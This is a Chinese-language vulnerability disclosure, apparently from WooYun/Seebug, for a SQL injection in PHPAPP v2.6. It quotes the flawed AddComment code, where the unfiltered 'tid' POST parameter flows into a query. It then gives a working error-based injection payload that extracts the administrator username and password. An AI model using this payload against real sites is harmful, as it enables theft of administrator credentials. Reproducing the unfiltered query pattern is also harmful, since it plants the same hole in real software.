### 简要描述:
PHPAPP注入第七枚(无视过滤)
### 详细说明:
在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。
PSOT注入点:wwww.xxx.com/index.php?app=80&action=12, 存在漏洞的文件在/phpapp/apps/taskcount/main_phpapp.php
来看看漏洞是如何产生的/phpapp/apps/taskcount/main_phpapp.php
```
function AddCommentAction(){
$uid=$this->uid;
if($uid>0){
$allow=$this->CheckAllow('task_count_usergroup',array(
'commentsdraft'=>''
)
);
$this->AddComment($uid,$allow);
}else{
echo '请选择登录后操作!<br />';
echo $this->CloseNowWindows('#loading');
}
}
```
看到这句$this->AddComment($uid,$allow);它的两个参数是没有办法注入的,因为uid是通过session获得的。我们去看看AddComment()方法。
```
//添加点评
function AddComment($uid,$allow){
if($allow=='ok'){
$this->tid=$this->POST['tid'];
$draftid=$this->ExplodeStrArr($this->POST['draftid']);
$strings=new CharFilter($this->POST['content']);
if(empty($this->POST['content'])){
echo '请输入评论内容!';
echo $this->CloseNowWindows('#loading');
}elseif($strings->CheckLength(2)){
echo '对不起!,评论内容不能少2个字!';
echo $this->CloseNowWindows('#loading');
}else{
//过虑
$content=$this->str($this->POST['content'],200,0,1,1,0,1);
if($draftid!=0){
$idarray=explode(',',$draftid);
$task=$this->GetMysqlOne('uid,appid,subject,url'," ".$this->GetTable('task')." WHERE tid='$this->tid'");
```
tid的获取就存在问题了,由$this->POST['tid'];得到,而$this->POST['tid'];是通过$_POST过滤结尾的’_s’的参数到得的,这里的tid因为结尾不是’_s’,所以不会被过滤,造成了注入。
Phpapp可以显错,那就用error-based blind进行注入。
Pyload:(POST提交)
```
draftid=1&content=test&tid=1' and (select 1 from (select count(*),concat(floor(rand(0)*2),
(select concat(0x23,username,0x23,password) from phpapp_member limit 0,1))a from phpapp_member group by a)b) and '1'='1
```
注入成功,管理员用户名及密码如下图中所示:
[<img src="https://images.seebug.org/upload/201412/26234710a2156438c042c143dda318628b927611.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/26234710a2156438c042c143dda318628b927611.jpg)
### 漏洞证明:
见 详细说明
暂无评论